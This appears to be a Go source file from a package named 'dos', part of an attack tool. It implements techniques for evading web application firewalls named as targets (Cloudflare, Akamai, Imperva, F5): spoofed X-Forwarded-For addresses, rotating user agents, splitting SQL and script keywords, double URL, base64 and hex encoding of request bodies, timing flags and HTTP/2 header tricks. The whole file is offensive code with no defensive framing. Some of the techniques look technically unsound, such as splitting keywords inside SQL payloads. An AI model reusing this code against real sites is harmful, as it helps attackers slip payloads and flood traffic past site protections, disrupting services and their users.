package dos

import (
	"encoding/base64"
	"fmt"
	"math/rand"
	"strings"
	"time"
)

// BaseWAFBypassTechnique 基础WAF绕过技术
type BaseWAFBypassTechnique struct {
	name                 string
	effectiveAgainstWAFs map[string]bool
}

// NewBaseWAFBypassTechnique 创建基础WAF绕过技术
func NewBaseWAFBypassTechnique(name string, effectiveAgainstWAFs []string) *BaseWAFBypassTechnique {
	wafs := make(map[string]bool)
	for _, waf := range effectiveAgainstWAFs {
		wafs[strings.ToLower(waf)] = true
	}

	return &BaseWAFBypassTechnique{
		name:                 name,
		effectiveAgainstWAFs: wafs,
	}
}

// GetName 获取技术名称
func (t *BaseWAFBypassTechnique) GetName() string {
	return t.name
}

// IsEffectiveAgainst 检查是否对特定WAF有效
func (t *BaseWAFBypassTechnique) IsEffectiveAgainst(wafType string) bool {
	if wafType == "" {
		return true // 如果未检测到WAF，假设有效
	}

	// 检查是否对所有WAF都有效
	if t.effectiveAgainstWAFs["*"] {
		return true
	}

	return t.effectiveAgainstWAFs[strings.ToLower(wafType)]
}

// HeaderObfuscationTechnique HTTP头混淆技术
type HeaderObfuscationTechnique struct {
	*BaseWAFBypassTechnique
}

// NewHeaderObfuscationTechnique 创建HTTP头混淆技术
func NewHeaderObfuscationTechnique() *HeaderObfuscationTechnique {
	return &HeaderObfuscationTechnique{
		BaseWAFBypassTechnique: NewBaseWAFBypassTechnique(
			"Header Obfuscation",
			[]string{"cloudflare", "akamai", "aws waf", "imperva", "f5", "*"},
		),
	}
}

// Apply 应用HTTP头混淆技术
func (t *HeaderObfuscationTechnique) Apply(request *AttackRequest) *AttackRequest {
	// 创建请求的副本
	result := *request

	// 确保headers已初始化
	if result.headers == nil {
		result.headers = make(map[string]string)
	}

	// 添加随机化的HTTP头
	result.headers["X-Forwarded-For"] = generateRandomIP()
	result.headers["User-Agent"] = getRandomUserAgent()
	result.headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
	result.headers["Accept-Language"] = "en-US,en;q=0.5"
	result.headers["Accept-Encoding"] = "gzip, deflate"
	result.headers["Connection"] = "keep-alive"
	result.headers["Cache-Control"] = "max-age=0"

	// 添加一些随机自定义头
	result.headers["X-Request-ID"] = generateRandomString(16)
	result.headers["X-Correlation-ID"] = generateRandomString(16)

	return &result
}

// PayloadSplittingTechnique 载荷分割技术
type PayloadSplittingTechnique struct {
	*BaseWAFBypassTechnique
}

// NewPayloadSplittingTechnique 创建载荷分割技术
func NewPayloadSplittingTechnique() *PayloadSplittingTechnique {
	return &PayloadSplittingTechnique{
		BaseWAFBypassTechnique: NewBaseWAFBypassTechnique(
			"Payload Splitting",
			[]string{"modsecurity", "imperva", "f5", "fortinet"},
		),
	}
}

// Apply 应用载荷分割技术
func (t *PayloadSplittingTechnique) Apply(request *AttackRequest) *AttackRequest {
	// 创建请求的副本
	result := *request

	// 如果有请求体，对其进行分割处理
	if len(result.body) > 0 {
		// 在载荷中插入空格、换行符等，但保持语义不变
		body := string(result.body)
		body = strings.ReplaceAll(body, "SELECT", "SEL ECT")
		body = strings.ReplaceAll(body, "UNION", "UN ION")
		body = strings.ReplaceAll(body, "INSERT", "INS ERT")
		body = strings.ReplaceAll(body, "script", "scr ipt")
		result.body = []byte(body)
	}

	return &result
}

// EncodingVariationTechnique 编码变换技术
type EncodingVariationTechnique struct {
	*BaseWAFBypassTechnique
}

// NewEncodingVariationTechnique 创建编码变换技术
func NewEncodingVariationTechnique() *EncodingVariationTechnique {
	return &EncodingVariationTechnique{
		BaseWAFBypassTechnique: NewBaseWAFBypassTechnique(
			"Encoding Variation",
			[]string{"cloudflare", "akamai", "aws waf", "modsecurity"},
		),
	}
}

// Apply 应用编码变换技术
func (t *EncodingVariationTechnique) Apply(request *AttackRequest) *AttackRequest {
	// 创建请求的副本
	result := *request

	// 对URL进行编码处理
	if result.url != "" {
		// 对URL中的特殊字符进行双重编码
		result.url = doubleURLEncode(result.url)
	}

	// 对请求体进行编码处理
	if len(result.body) > 0 {
		// 随机选择一种编码方式
		r := rand.New(rand.NewSource(time.Now().UnixNano()))
		switch r.Intn(3) {
		case 0:
			// Base64编码
			result.body = []byte(base64.StdEncoding.EncodeToString(result.body))
			if result.headers == nil {
				result.headers = make(map[string]string)
			}
			result.headers["Content-Transfer-Encoding"] = "base64"
		case 1:
			// URL编码
			result.body = []byte(urlEncode(string(result.body)))
		case 2:
			// 十六进制编码
			result.body = []byte(hexEncode(string(result.body)))
		}
	}

	return &result
}

// RequestTimingTechnique 请求时序技术
type RequestTimingTechnique struct {
	*BaseWAFBypassTechnique
}

// NewRequestTimingTechnique 创建请求时序技术
func NewRequestTimingTechnique() *RequestTimingTechnique {
	return &RequestTimingTechnique{
		BaseWAFBypassTechnique: NewBaseWAFBypassTechnique(
			"Request Timing",
			[]string{"cloudflare", "akamai", "aws waf", "f5"},
		),
	}
}

// Apply 应用请求时序技术
func (t *RequestTimingTechnique) Apply(request *AttackRequest) *AttackRequest {
	// 创建请求的副本
	result := *request

	// 添加时序标记
	if result.bypassFlags == nil {
		result.bypassFlags = make(map[string]bool)
	}

	// 设置随机延迟标志，在发送请求时使用
	result.bypassFlags["random_delay"] = true

	// 设置请求速率限制标志
	result.bypassFlags["rate_limit"] = true

	return &result
}

// ProtocolExploitTechnique 协议利用技术
type ProtocolExploitTechnique struct {
	*BaseWAFBypassTechnique
}

// NewProtocolExploitTechnique 创建协议利用技术
func NewProtocolExploitTechnique() *ProtocolExploitTechnique {
	return &ProtocolExploitTechnique{
		BaseWAFBypassTechnique: NewBaseWAFBypassTechnique(
			"Protocol Exploit",
			[]string{"cloudflare", "akamai", "imperva", "f5"},
		),
	}
}

// Apply 应用协议利用技术
func (t *ProtocolExploitTechnique) Apply(request *AttackRequest) *AttackRequest {
	// 创建请求的副本
	result := *request

	// 确保headers已初始化
	if result.headers == nil {
		result.headers = make(map[string]string)
	}

	// 使用HTTP/2协议
	result.useHTTP2 = true

	// 添加一些HTTP/2特有的头部
	result.headers[":method"] = result.method
	result.headers[":path"] = extractPath(result.url)
	result.headers[":scheme"] = extractScheme(result.url)
	result.headers[":authority"] = extractHost(result.url)

	// 添加一些特殊的头部组合
	result.headers["Upgrade-Insecure-Requests"] = "1"
	result.headers["TE"] = "trailers"

	return &result
}

// 辅助函数

// 生成随机IP地址
func generateRandomIP() string {
	r := rand.New(rand.NewSource(time.Now().UnixNano()))
	return fmt.Sprintf("%d.%d.%d.%d", r.Intn(256), r.Intn(256), r.Intn(256), r.Intn(256))
}

// 获取随机User-Agent
func getRandomUserAgent() string {
	userAgents := []string{
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
		"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
		"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
		"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
		"Mozilla/5.0 (iPad; CPU OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59",
		"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OPR/77.0.4054.277",
	}

	r := rand.New(rand.NewSource(time.Now().UnixNano()))
	return userAgents[r.Intn(len(userAgents))]
}

// 生成随机字符串
func generateRandomString(length int) string {
	const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
	seededRand := rand.New(rand.NewSource(time.Now().UnixNano()))

	b := make([]byte, length)
	for i := range b {
		b[i] = charset[seededRand.Intn(len(charset))]
	}
	return string(b)
}

// URL双重编码
func doubleURLEncode(s string) string {
	return urlEncode(urlEncode(s))
}

// URL编码
func urlEncode(s string) string {
	result := ""
	for _, c := range s {
		if (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || c == '-' || c == '_' || c == '.' || c == '~' {
			result += string(c)
		} else {
			result += "%" + strings.ToUpper(fmt.Sprintf("%02x", c))
		}
	}
	return result
}

// 十六进制编码
func hexEncode(s string) string {
	result := ""
	for _, c := range s {
		result += "\\x" + strings.ToUpper(fmt.Sprintf("%02x", c))
	}
	return result
}

// 从URL中提取路径
func extractPath(url string) string {
	parts := strings.Split(url, "://")
	if len(parts) < 2 {
		return "/"
	}

	hostPath := strings.SplitN(parts[1], "/", 2)
	if len(hostPath) < 2 {
		return "/"
	}

	return "/" + hostPath[1]
}

// 从URL中提取协议
func extractScheme(url string) string {
	parts := strings.Split(url, "://")
	if len(parts) < 2 {
		return "http"
	}

	return parts[0]
}

// 从URL中提取主机
func extractHost(url string) string {
	parts := strings.Split(url, "://")
	if len(parts) < 2 {
		return ""
	}

	hostPath := strings.SplitN(parts[1], "/", 2)
	return hostPath[0]
}
